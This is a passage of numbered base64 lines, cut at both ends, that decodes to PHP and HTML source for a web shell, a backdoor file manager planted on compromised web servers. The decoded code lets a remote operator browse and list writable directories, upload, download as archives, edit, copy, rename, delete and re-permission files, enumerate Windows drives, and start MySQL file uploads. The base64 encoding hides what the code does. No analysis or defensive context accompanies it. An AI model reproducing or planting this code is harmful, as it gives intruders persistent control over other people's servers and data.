  194. aWxlcz1zdWJzdHIoJGRmaWxlcywwLHN0cmxlbigkZGZpbGVzKS0xKTsNCgkJCSRkbD1leHBsb2Rl
  195. KCcsJywkZGZpbGVzKTsNCgkJCSR6aXA9bmV3IFBIUFppcCgkZGwpOw0KCQkJJGNvZGU9JHppcC0+
  196. b3V0Ow0KCQkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScp
  197. Ow0KCQkJaGVhZGVyKCdBY2NlcHQtUmFuZ2VzOiBieXRlcycpOw0KCQkJaGVhZGVyKCdBY2NlcHQt
  198. TGVuZ3RoOiAnLnN0cmxlbigkY29kZSkpOw0KCQkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9u
  199. OiBhdHRhY2htZW50O2ZpbGVuYW1lPScuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfRmlsZXMudGFy
  200. Lmd6Jyk7DQoJCQllY2hvICRjb2RlOw0KCQkJZXhpdDsNCgkJfSBlbHNlIHsNCgkJCW0oJ1BsZWFz
  201. ZSBzZWxlY3QgZmlsZShzKScpOw0KCQl9DQoJfQ0KDQoJLy8gxfrBv8m+s/3OxLz+DQoJZWxzZWlm
  202. KCRkb2luZyA9PSAnZGVsZmlsZXMnKSB7DQoJCWlmICgkZGwpIHsNCgkJCSRkZmlsZXM9Jyc7DQoJ
  203. CQkkc3VjYyA9ICRmYWlsID0gMDsNCgkJCWZvcmVhY2ggKCRkbCBhcyAkZmlsZXBhdGggPT4gJHZh
  204. bHVlKSB7DQoJCQkJaWYgKEB1bmxpbmsoJGZpbGVwYXRoKSkgew0KCQkJCQkkc3VjYysrOw0KCQkJ
  205. CX0gZWxzZSB7DQoJCQkJCSRmYWlsKys7DQoJCQkJfQ0KCQkJfQ0KCQkJbSgnRGVsZXRlZCBmaWxl
  206. IGhhdmUgZmluaXNoZWSjrGNob29zZSAnLmNvdW50KCRkbCkuJyBzdWNjZXNzICcuJHN1Y2MuJyBm
  207. YWlsICcuJGZhaWwpOw0KCQl9IGVsc2Ugew0KCQkJbSgnUGxlYXNlIHNlbGVjdCBmaWxlKHMpJyk7
  208. DQoJCX0NCgl9DQoNCgkvL7LZ1/fN6rHPDQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nY3JlYXRl
  209. ZGlyJykpOw0KCW1ha2VoaWRlKCduZXdkaXJuYW1lJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3Bh
  210. dGgpOw0KCWZvcm1mb290KCk7DQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZmlsZXBlcm0nKSk7
  211. DQoJbWFrZWhpZGUoJ25ld3Blcm0nKTsNCgltYWtlaGlkZSgncGZpbGUnKTsNCgltYWtlaGlkZSgn
  212. ZGlyJywkbm93cGF0aCk7DQoJZm9ybWZvb3QoKTsNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9Pidj
  213. b3B5ZmlsZScpKTsNCgltYWtlaGlkZSgnc25hbWUnKTsNCgltYWtlaGlkZSgndG9maWxlJyk7DQoJ
  214. bWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCWZvcm1mb290KCk7DQoJZm9ybWhlYWQoYXJyYXko
  215. J25hbWUnPT4ncmVuYW1lJykpOw0KCW1ha2VoaWRlKCdvbGRuYW1lJyk7DQoJbWFrZWhpZGUoJ25l
  216. d2ZpbGVuYW1lJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCWZvcm1mb290KCk7DQoJ
  217. Zm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZmlsZW9wZm9ybScpKTsNCgltYWtlaGlkZSgnYWN0aW9u
  218. Jyk7DQoJbWFrZWhpZGUoJ29wZmlsZScpOw0KCW1ha2VoaWRlKCdkaXInKTsNCglmb3JtZm9vdCgp
  219. Ow0KDQoJJGZyZWUgPSBAZGlza19mcmVlX3NwYWNlKCRub3dwYXRoKTsNCgkhJGZyZWUgJiYgJGZy
  220. ZWUgPSAwOw0KCSRhbGwgPSBAZGlza190b3RhbF9zcGFjZSgkbm93cGF0aCk7DQoJISRhbGwgJiYg
  221. JGFsbCA9IDA7DQoJJHVzZWQgPSAkYWxsLSRmcmVlOw0KCSR1c2VkX3BlcmNlbnQgPSBAcm91bmQo
  222. MTAwLygkYWxsLyRmcmVlKSwyKTsNCglwKCc8aDI+RmlsZSBNYW5hZ2VyIC0gQ3VycmVudCBkaXNr
  223. IGZyZWUgJy5zaXplY291bnQoJGZyZWUpLicgb2YgJy5zaXplY291bnQoJGFsbCkuJyAoJy4kdXNl
  224. ZF9wZXJjZW50LiclKTwvaDI+Jyk7DQoNCj8+DQo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0i
  225. MCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0ibWFyZ2luOjEwcHggMDsi
  226. Pg0KICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBpZD0iZ29kaXIiIG5hbWU9ImdvZGly
  227. Ij4NCiAgPHRyPg0KICAgIDx0ZCBub3dyYXA+Q3VycmVudCBEaXJlY3RvcnkgKDw/cGhwIGVjaG8g
  228. JGRpcl93cml0ZWFibGU7Pz4sIDw/cGhwIGVjaG8gZ2V0Q2htb2QoJG5vd3BhdGgpOz8+KTwvdGQ+
  229. DQoJPHRkIHdpZHRoPSIxMDAlIj48aW5wdXQgbmFtZT0idmlld193cml0YWJsZSIgdmFsdWU9IjAi
  230. IHR5cGU9ImhpZGRlbiIgLz48aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJkaXIiIHZhbHVlPSI8
  231. P3BocCBlY2hvICRub3dwYXRoOz8+IiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6MTAwJTttYXJn
  232. aW46MCA4cHg7Ij48L3RkPg0KICAgIDx0ZCBub3dyYXA+PGlucHV0IGNsYXNzPSJidCIgdmFsdWU9
  233. IkdPIiB0eXBlPSJzdWJtaXQiPjwvdGQ+DQogIDwvdHI+DQogIDwvZm9ybT4NCjwvdGFibGU+DQo8
  234. c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBjcmVhdGVkaXIoKXsNCgl2
  235. YXIgbmV3ZGlybmFtZTsNCgluZXdkaXJuYW1lID0gcHJvbXB0KCdQbGVhc2UgaW5wdXQgdGhlIGRp
  236. cmVjdG9yeSBuYW1lOicsICcnKTsNCglpZiAoIW5ld2Rpcm5hbWUpIHJldHVybjsNCgkkKCdjcmVh
  237. dGVkaXInKS5uZXdkaXJuYW1lLnZhbHVlPW5ld2Rpcm5hbWU7DQoJJCgnY3JlYXRlZGlyJykuc3Vi
  238. bWl0KCk7DQp9DQpmdW5jdGlvbiBmaWxlcGVybShwZmlsZSl7DQoJdmFyIG5ld3Blcm07DQoJbmV3
  239. cGVybSA9IHByb21wdCgnQ3VycmVudCBmaWxlOicrcGZpbGUrJ1xuUGxlYXNlIGlucHV0IG5ldyBh
  240. dHRyaWJ1dGU6JywgJycpOw0KCWlmICghbmV3cGVybSkgcmV0dXJuOw0KCSQoJ2ZpbGVwZXJtJyku
  241. bmV3cGVybS52YWx1ZT1uZXdwZXJtOw0KCSQoJ2ZpbGVwZXJtJykucGZpbGUudmFsdWU9cGZpbGU7
  242. DQoJJCgnZmlsZXBlcm0nKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIGNvcHlmaWxlKHNuYW1lKXsN
  243. Cgl2YXIgdG9maWxlOw0KCXRvZmlsZSA9IHByb21wdCgnT3JpZ2luYWwgZmlsZTonK3NuYW1lKydc
  244. blBsZWFzZSBpbnB1dCBvYmplY3QgZmlsZSAoZnVsbHBhdGgpOicsICcnKTsNCglpZiAoIXRvZmls
  245. ZSkgcmV0dXJuOw0KCSQoJ2NvcHlmaWxlJykudG9maWxlLnZhbHVlPXRvZmlsZTsNCgkkKCdjb3B5
  246. ZmlsZScpLnNuYW1lLnZhbHVlPXNuYW1lOw0KCSQoJ2NvcHlmaWxlJykuc3VibWl0KCk7DQp9DQpm
  247. dW5jdGlvbiByZW5hbWUob2xkbmFtZSl7DQoJdmFyIG5ld2ZpbGVuYW1lOw0KCW5ld2ZpbGVuYW1l
  248. ID0gcHJvbXB0KCdGb3JtZXIgZmlsZSBuYW1lOicrb2xkbmFtZSsnXG5QbGVhc2UgaW5wdXQgbmV3
  249. IGZpbGVuYW1lOicsICcnKTsNCglpZiAoIW5ld2ZpbGVuYW1lKSByZXR1cm47DQoJJCgncmVuYW1l
  250. JykubmV3ZmlsZW5hbWUudmFsdWU9bmV3ZmlsZW5hbWU7DQoJJCgncmVuYW1lJykub2xkbmFtZS52
  251. YWx1ZT1vbGRuYW1lOw0KCSQoJ3JlbmFtZScpLnN1Ym1pdCgpOw0KfQ0KZnVuY3Rpb24gZG9maWxl
  252. KGRvaW5nLHRoZWZpbGUsbSl7DQoJaWYgKG0gJiYgIWNvbmZpcm0obSkpIHsNCgkJcmV0dXJuOw0K
  253. CX0NCgkkKCdmaWxlbGlzdCcpLmRvaW5nLnZhbHVlPWRvaW5nOw0KCWlmICh0aGVmaWxlKXsNCgkJ
  254. JCgnZmlsZWxpc3QnKS50aGVmaWxlLnZhbHVlPXRoZWZpbGU7DQoJfQ0KCSQoJ2ZpbGVsaXN0Jyku
  255. c3VibWl0KCk7DQp9DQpmdW5jdGlvbiBjcmVhdGVmaWxlKG5vd3BhdGgpew0KCXZhciBmaWxlbmFt
  256. ZTsNCglmaWxlbmFtZSA9IHByb21wdCgnUGxlYXNlIGlucHV0IHRoZSBmaWxlIG5hbWU6JywgJycp
  257. Ow0KCWlmICghZmlsZW5hbWUpIHJldHVybjsNCglvcGZpbGUoJ2VkaXRmaWxlJyxub3dwYXRoICsg
  258. ZmlsZW5hbWUsbm93cGF0aCk7DQp9DQpmdW5jdGlvbiBvcGZpbGUoYWN0aW9uLG9wZmlsZSxkaXIp
  259. ew0KCSQoJ2ZpbGVvcGZvcm0nKS5hY3Rpb24udmFsdWU9YWN0aW9uOw0KCSQoJ2ZpbGVvcGZvcm0n
  260. KS5vcGZpbGUudmFsdWU9b3BmaWxlOw0KCSQoJ2ZpbGVvcGZvcm0nKS5kaXIudmFsdWU9ZGlyOw0K
  261. CSQoJ2ZpbGVvcGZvcm0nKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIGdvZGlyKGRpcix2aWV3X3dy
  262. aXRhYmxlKXsNCglpZiAodmlld193cml0YWJsZSkgew0KCQkkKCdnb2RpcicpLnZpZXdfd3JpdGFi
  263. bGUudmFsdWU9MTsNCgl9DQoJJCgnZ29kaXInKS5kaXIudmFsdWU9ZGlyOw0KCSQoJ2dvZGlyJyku
  264. c3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCiAgPD9waHANCgl0YmhlYWQoKTsNCglwKCc8Zm9ybSBh
  265. Y3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1k
  266. YXRhIj48dHIgY2xhc3M9ImFsdDEiPjx0ZCBjb2xzcGFuPSI3IiBzdHlsZT0icGFkZGluZzo1cHg7
  267. Ij4nKTsNCglwKCc8ZGl2IHN0eWxlPSJmbG9hdDpyaWdodDsiPjxpbnB1dCBjbGFzcz0iaW5wdXQi
  268. IG5hbWU9InVwbG9hZGZpbGUiIHZhbHVlPSIiIHR5cGU9ImZpbGUiIC8+IDxpbnB1dCBjbGFzcz0i
  269. YnQiIG5hbWU9ImRvdXBmaWxlIiB2YWx1ZT0iVXBsb2FkIiB0eXBlPSJzdWJtaXQiIC8+PGlucHV0
  270. IG5hbWU9InVwbG9hZGRpciIgdmFsdWU9IicuJGRpci4nIiB0eXBlPSJoaWRkZW4iIC8+PGlucHV0
  271. IG5hbWU9ImRpciIgdmFsdWU9IicuJGRpci4nIiB0eXBlPSJoaWRkZW4iIC8+PC9kaXY+Jyk7DQoJ
  272. cCgnPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1Qi
  273. XS4nXCcpOyI+V2ViUm9vdDwvYT4nKTsNCglpZiAoJHZpZXdfd3JpdGFibGUpIHsNCgkJcCgnIHwg
  274. PGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJG5vd3BhdGguJ1wnKTsiPlZpZXcgQWxsPC9h
  275. PicpOw0KCX0gZWxzZSB7DQoJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRu
  276. b3dwYXRoLidcJyxcJzFcJyk7Ij5WaWV3IFdyaXRhYmxlPC9hPicpOw0KCX0NCglwKCcgfCA8YSBo
  277. cmVmPSJqYXZhc2NyaXB0OmNyZWF0ZWRpcigpOyI+Q3JlYXRlIERpcmVjdG9yeTwvYT4gfCA8YSBo
  278. cmVmPSJqYXZhc2NyaXB0OmNyZWF0ZWZpbGUoXCcnLiRub3dwYXRoLidcJyk7Ij5DcmVhdGUgRmls
  279. ZTwvYT4nKTsNCglpZiAoSVNfV0lOICYmIElTX0NPTSkgew0KCQkkb2JqID0gbmV3IENPTSgnc2Ny
  280. aXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QnKTsNCgkJaWYgKCRvYmogJiYgaXNfb2JqZWN0KCRvYmop
  281. KSB7DQoJCQkkRHJpdmVUeXBlREIgPSBhcnJheSgwID0+ICdVbmtub3cnLDEgPT4gJ1JlbW92YWJs
  282. ZScsMiA9PiAnRml4ZWQnLDMgPT4gJ05ldHdvcmsnLDQgPT4gJ0NEUm9tJyw1ID0+ICdSQU0gRGlz
  283. aycpOw0KCQkJZm9yZWFjaCgkb2JqLT5Ecml2ZXMgYXMgJGRyaXZlKSB7DQoJCQkJaWYgKCRkcml2
  284. ZS0+RHJpdmVUeXBlID09IDIpIHsNCgkJCQkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2Rp
  285. cihcJycuJGRyaXZlLT5QYXRoLicvXCcpOyIgdGl0bGU9IlNpemU6Jy5zaXplY291bnQoJGRyaXZl
  286. LT5Ub3RhbFNpemUpLicmIzEzO0ZyZWU6Jy5zaXplY291bnQoJGRyaXZlLT5GcmVlU3BhY2UpLicm
  287. IzEzO1R5cGU6Jy4kRHJpdmVUeXBlREJbJGRyaXZlLT5Ecml2ZVR5cGVdLiciPicuJERyaXZlVHlw
  288. ZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nKCcuJGRyaXZlLT5QYXRoLicpPC9hPicpOw0KCQkJCX0g
  289. ZWxzZSB7DQoJCQkJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkcml2ZS0+
  290. UGF0aC4nL1wnKTsiIHRpdGxlPSJUeXBlOicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBl
  291. XS4nIj4nLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJygnLiRkcml2ZS0+UGF0aC4n
  292. KTwvYT4nKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoNCglwKCc8L3RkPjwvdHI+PC9mb3JtPicp
  293. Ow0KDQoJcCgnPHRyIGNsYXNzPSJoZWFkIj48dGQ+Jm5ic3A7PC90ZD48dGQ+RmlsZW5hbWU8L3Rk
  294. Pjx0ZCB3aWR0aD0iMTYlIj5MYXN0IG1vZGlmaWVkPC90ZD48dGQgd2lkdGg9IjEwJSI+U2l6ZTwv
  295. dGQ+PHRkIHdpZHRoPSIyMCUiPkNobW9kIC8gUGVybXM8L3RkPjx0ZCB3aWR0aD0iMjIlIj5BY3Rp
  296. b248L3RkPjwvdHI+Jyk7DQoNCgkvL7Lpv7TL+dPQv8nQtM7EvP66zcS/wrwNCgkkZGlyZGF0YT1h
  297. cnJheSgpOw0KCSRmaWxlZGF0YT1hcnJheSgpOw0KDQoJaWYgKCR2aWV3X3dyaXRhYmxlKSB7DQoJ
  298. CSRkaXJkYXRhID0gR2V0TGlzdCgkbm93cGF0aCk7DQoJfSBlbHNlIHsNCgkJLy8gxL/CvMHQse0N
  299. CgkJJGRpcnM9QG9wZW5kaXIoJGRpcik7DQoJCXdoaWxlICgkZmlsZT1AcmVhZGRpcigkZGlycykp
  300. IHsNCgkJCSRmaWxlcGF0aD0kbm93cGF0aC4kZmlsZTsNCgkJCWlmKEBpc19kaXIoJGZpbGVwYXRo
  301. KSl7DQoJCQkJJGRpcmRiWydmaWxlbmFtZSddPSRmaWxlOw0KCQkJCSRkaXJkYlsnbXRpbWUnXT1A
  302. ZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZmlsZXBhdGgpKTsNCgkJCQkkZGlyZGJbJ2Rp
  303. cmNobW9kJ109Z2V0Q2htb2QoJGZpbGVwYXRoKTsNCgkJCQkkZGlyZGJbJ2RpcnBlcm0nXT1nZXRQ
  304. ZXJtcygkZmlsZXBhdGgpOw0KCQkJCSRkaXJkYlsnZmlsZW93bmVyJ109Z2V0VXNlcigkZmlsZXBh
  305. dGgpOw0KCQkJCSRkaXJkYlsnZGlybGluayddPSRub3dwYXRoOw0KCQkJCSRkaXJkYlsnc2VydmVy
  306. X2xpbmsnXT0kZmlsZXBhdGg7DQoJCQkJJGRpcmRiWydjbGllbnRfbGluayddPXVlKCRmaWxlcGF0
  307. aCk7DQoJCQkJJGRpcmRhdGFbXT0kZGlyZGI7DQoJCQl9IGVsc2UgewkJDQoJCQkJJGZpbGVkYlsn
  308. ZmlsZW5hbWUnXT0kZmlsZTsNCgkJCQkkZmlsZWRiWydzaXplJ109c2l6ZWNvdW50KEBmaWxlc2l6
  309. ZSgkZmlsZXBhdGgpKTsNCgkJCQkkZmlsZWRiWydtdGltZSddPUBkYXRlKCdZLW0tZCBIOmk6cycs
  310. ZmlsZW10aW1lKCRmaWxlcGF0aCkpOw0KCQkJCSRmaWxlZGJbJ2ZpbGVjaG1vZCddPWdldENobW9k
  311. KCRmaWxlcGF0aCk7DQoJCQkJJGZpbGVkYlsnZmlsZXBlcm0nXT1nZXRQZXJtcygkZmlsZXBhdGgp
  312. Ow0KCQkJCSRmaWxlZGJbJ2ZpbGVvd25lciddPWdldFVzZXIoJGZpbGVwYXRoKTsNCgkJCQkkZmls
  313. ZWRiWydkaXJsaW5rJ109JG5vd3BhdGg7DQoJCQkJJGZpbGVkYlsnc2VydmVyX2xpbmsnXT0kZmls
  314. ZXBhdGg7DQoJCQkJJGZpbGVkYlsnY2xpZW50X2xpbmsnXT11ZSgkZmlsZXBhdGgpOw0KCQkJCSRm
  315. aWxlZGF0YVtdPSRmaWxlZGI7DQoJCQl9DQoJCX0vLyB3aGlsZQ0KCQl1bnNldCgkZGlyZGIpOw0K
  316. CQl1bnNldCgkZmlsZWRiKTsNCgkJQGNsb3NlZGlyKCRkaXJzKTsNCgl9DQoJQHNvcnQoJGRpcmRh
  317. dGEpOw0KCUBzb3J0KCRmaWxlZGF0YSk7DQoJJGRpcl9pID0gJzAnOw0KCWZvcmVhY2goJGRpcmRh
  318. dGEgYXMgJGtleSA9PiAkZGlyZGIpew0KCQlpZigkZGlyZGJbJ2ZpbGVuYW1lJ10hPScuLicgJiYg
  319. JGRpcmRiWydmaWxlbmFtZSddIT0nLicpIHsNCgkJCSR0aGlzYmcgPSBiZygpOw0KCQkJcCgnPHRy
  320. IGNsYXNzPSInLiR0aGlzYmcuJyIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNc
  321. JzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnJy4kdGhpc2JnLidcJzsiPicpOw0KCQkJ
  322. cCgnPHRkIHdpZHRoPSIyJSIgbm93cmFwPjxmb250IGZhY2U9IndpbmdkaW5ncyIgc2l6ZT0iMyI+
  323. MDwvZm9udD48L3RkPicpOw0KCQkJcCgnPHRkPjxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcn
  324. LiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZGlyZGJbJ2ZpbGVuYW1lJ10uJzwvYT48
  325. L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nLiRkaXJkYlsnbXRpbWUnXS4nPC90ZD4nKTsNCgkJ
  326. CXAoJzx0ZCBub3dyYXA+LS08L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nKTsNCgkJCXAoJzxh
  327. IGhyZWY9ImphdmFzY3JpcHQ6ZmlsZXBlcm0oXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcp
  328. OyI+Jy4kZGlyZGJbJ2RpcmNobW9kJ10uJzwvYT4gLyAnKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFz
  329. Y3JpcHQ6ZmlsZXBlcm0oXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZGlyZGJb
  330. J2RpcnBlcm0nXS4nPC9hPicuJGRpcmRiWydmaWxlb3duZXInXS4nPC90ZD4nKTsNCgkJCXAoJzx0
  331. ZCBub3dyYXA+PGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkZWxkaXJcJyxcJycuJGRpcmRi
  332. WydzZXJ2ZXJfbGluayddLidcJyxcJ0FyZSB5b3Ugc3VyZSB3aWxsIGRlbGV0ZSAnLiRkaXJkYlsn
  333. ZmlsZW5hbWUnXS4nPyBcXG5cXG5JZiBub24tZW1wdHkgZGlyZWN0b3J5LCB3aWxsIGJlIGRlbGV0
  334. ZSBhbGwgdGhlIGZpbGVzLlwnKSI+RGVsPC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6cmVuYW1l
  335. KFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPlJlbmFtZTwvYT48L3RkPicpOw0KCQkJ
  336. cCgnPC90cj4nKTsNCgkJCSRkaXJfaSsrOw0KCQl9IGVsc2Ugew0KCQkJaWYoJGRpcmRiWydmaWxl
  337. bmFtZSddPT0nLi4nKSB7DQoJCQkJcCgnPHRyIGNsYXNzPScuYmcoKS4nPicpOw0KCQkJCXAoJzx0
  338. ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJXaW5nZGluZ3MgMyIgc2l6ZT00Pj08L2ZvbnQ+
  339. PC90ZD48dGQgbm93cmFwIGNvbHNwYW49IjUiPjxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcn
  340. LmdldFVwUGF0aCgkbm93cGF0aCkuJ1wnKTsiPlBhcmVudCBEaXJlY3Rvcnk8L2E+PC90ZD4nKTsN
  341. CgkJCQlwKCc8L3RyPicpOw0KCQkJfQ0KCQl9DQoJfQ0KDQoJcCgnPHRyIGJnY29sb3I9IiNkZGRk
  342. ZGQiIHN0bHllPSJib3JkZXItdG9wOjFweCBzb2xpZCAjZmZmO2JvcmRlci1ib3R0b206MXB4IHNv
  343. bGlkICNkZGQ7Ij48dGQgY29sc3Bhbj0iNiIgaGVpZ2h0PSI1Ij48L3RkPjwvdHI+Jyk7DQoJcCgn
  344. PGZvcm0gaWQ9ImZpbGVsaXN0IiBuYW1lPSJmaWxlbGlzdCIgYWN0aW9uPSInLiRzZWxmLiciIG1l
  345. dGhvZD0icG9zdCI+Jyk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsNCgltYWtlaGlkZSgn
  346. dGhlZmlsZScpOw0KCW1ha2VoaWRlKCdkb2luZycpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRo
  347. KTsNCgkkZmlsZV9pID0gJzAnOw0KCWZvcmVhY2goJGZpbGVkYXRhIGFzICRrZXkgPT4gJGZpbGVk
  348. Yil7DQoJCWlmKCRmaWxlZGJbJ2ZpbGVuYW1lJ10hPScuLicgJiYgJGZpbGVkYlsnZmlsZW5hbWUn
  349. XSE9Jy4nKSB7DQoJCQkkZmlsZXVybCA9IHN0cl9yZXBsYWNlKFNBX1JPT1QsJycsJGZpbGVkYlsn
  350. c2VydmVyX2xpbmsnXSk7DQoJCQkkdGhpc2JnID0gYmcoKTsNCgkJCXAoJzx0ciBjbGFzcz0iJy4k
  351. dGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNl
  352. b3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsNCgkJCXAoJzx0ZCB3aWR0
  353. aD0iMiUiIG5vd3JhcD48aW5wdXQgdHlwZT0iY2hlY2tib3giIHZhbHVlPSIxIiBuYW1lPSJkbFsn
  354. LiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ10iPjwvdGQ+Jyk7DQoJCQlwKCc8dGQ+PGEgaHJlZj0i
  355. Jy4kZmlsZXVybC4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kZmlsZWRiWydmaWxlbmFtZSddLic8L2E+
  356. PC90ZD4nKTsNCgkJCXAoJzx0ZCBub3dyYXA+Jy4kZmlsZWRiWydtdGltZSddLic8L3RkPicpOw0K
  357. CQkJcCgnPHRkIG5vd3JhcD4nLiRmaWxlZGJbJ3NpemUnXS4nPC90ZD4nKTsNCgkJCXAoJzx0ZCBu
  358. b3dyYXA+Jyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRi
  359. WydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVjaG1vZCddLic8L2E+IC8gJyk7
  360. DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJf
  361. bGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVwZXJtJ10uJzwvYT4nLiRmaWxlZGJbJ2ZpbGVv
  362. d25lciddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nKTsNCgkJCXAoJzxhIGhyZWY9Imph
  363. dmFzY3JpcHQ6ZG9maWxlKFwnZG93bmZpbGVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4n
  364. XCcpOyI+RG93bjwvYT4gfCAnKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6Y29weWZpbGUo
  365. XCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPkNvcHk8L2E+IHwgJyk7DQoJCQlwKCc8
  366. YSBocmVmPSJqYXZhc2NyaXB0Om9wZmlsZShcJ2VkaXRmaWxlXCcsXCcnLiRmaWxlZGJbJ3NlcnZl
  367. cl9saW5rJ10uJ1wnLFwnJy4kZmlsZWRiWydkaXJsaW5rJ10uJ1wnKTsiPkVkaXQ8L2E+IHwgJyk7
  368. DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OnJlbmFtZShcJycuJGZpbGVkYlsnc2VydmVyX2xp
  369. bmsnXS4nXCcpOyI+UmVuYW1lPC9hPiB8ICcpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpv
  370. cGZpbGUoXCduZXd0aW1lXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnJy4kZmls
  371. ZWRiWydkaXJsaW5rJ10uJ1wnKTsiPlRpbWU8L2E+Jyk7DQoJCQlwKCc8L3RkPjwvdHI+Jyk7DQoJ
  372. CQkkZmlsZV9pKys7DQoJCX0NCgl9DQoJcCgnPHRyIGNsYXNzPSInLmJnKCkuJyI+PHRkIGFsaWdu
  373. PSJjZW50ZXIiPjxpbnB1dCBuYW1lPSJjaGthbGwiIHZhbHVlPSJvbiIgdHlwZT0iY2hlY2tib3gi
  374. IG9uY2xpY2s9IkNoZWNrQWxsKHRoaXMuZm9ybSkiIC8+PC90ZD48dGQ+PGEgaHJlZj0iamF2YXNj
  375. cmlwdDpkb2ZpbGUoXCdkb3ducmFyXCcpOyI+UGFja2luZyBkb3dubG9hZCBzZWxlY3RlZDwvYT4g
  376. LSA8YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2RlbGZpbGVzXCcpOyI+RGVsZXRlIHNlbGVj
  377. dGVkPC9hPjwvdGQ+PHRkIGNvbHNwYW49IjQiIGFsaWduPSJyaWdodCI+Jy4kZGlyX2kuJyBkaXJl
  378. Y3RvcmllcyAvICcuJGZpbGVfaS4nIGZpbGVzPC90ZD48L3RyPicpOw0KCXAoJzwvZm9ybT48L3Rh
  379. YmxlPicpOw0KfS8vIGVuZCBkaXINCg0KZWxzZWlmICgkYWN0aW9uID09ICdzcWxmaWxlJykgew0K
  380. CWlmKCRkb2luZz09Im15c3FsdXBsb2FkIil7DQoJCSRmaWxlID0gJF9GSUxFU1sndXBsb2FkZmls
  381. ZSddOw0KCQkkZmlsZW5hbWUgPSAkZmlsZVsndG1wX25hbWUnXTsNCgkJaWYgKGZpbGVfZXhpc3Rz
  382. KCRzYXZlcGF0aCkpIHsNCgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCcp
  383. Ow0KCQl9IGVsc2Ugew0KCQkJaWYoISRmaWxlbmFtZSkgew0KCQkJCW0oJ1BsZWFzZSBjaG9vc2Ug
  384. YSBmaWxlJyk7DQoJCQl9IGVsc2Ugew0KCQkJCSRmcD1AZm9wZW4oJGZpbGVuYW1lLCdyJyk7DQoJ
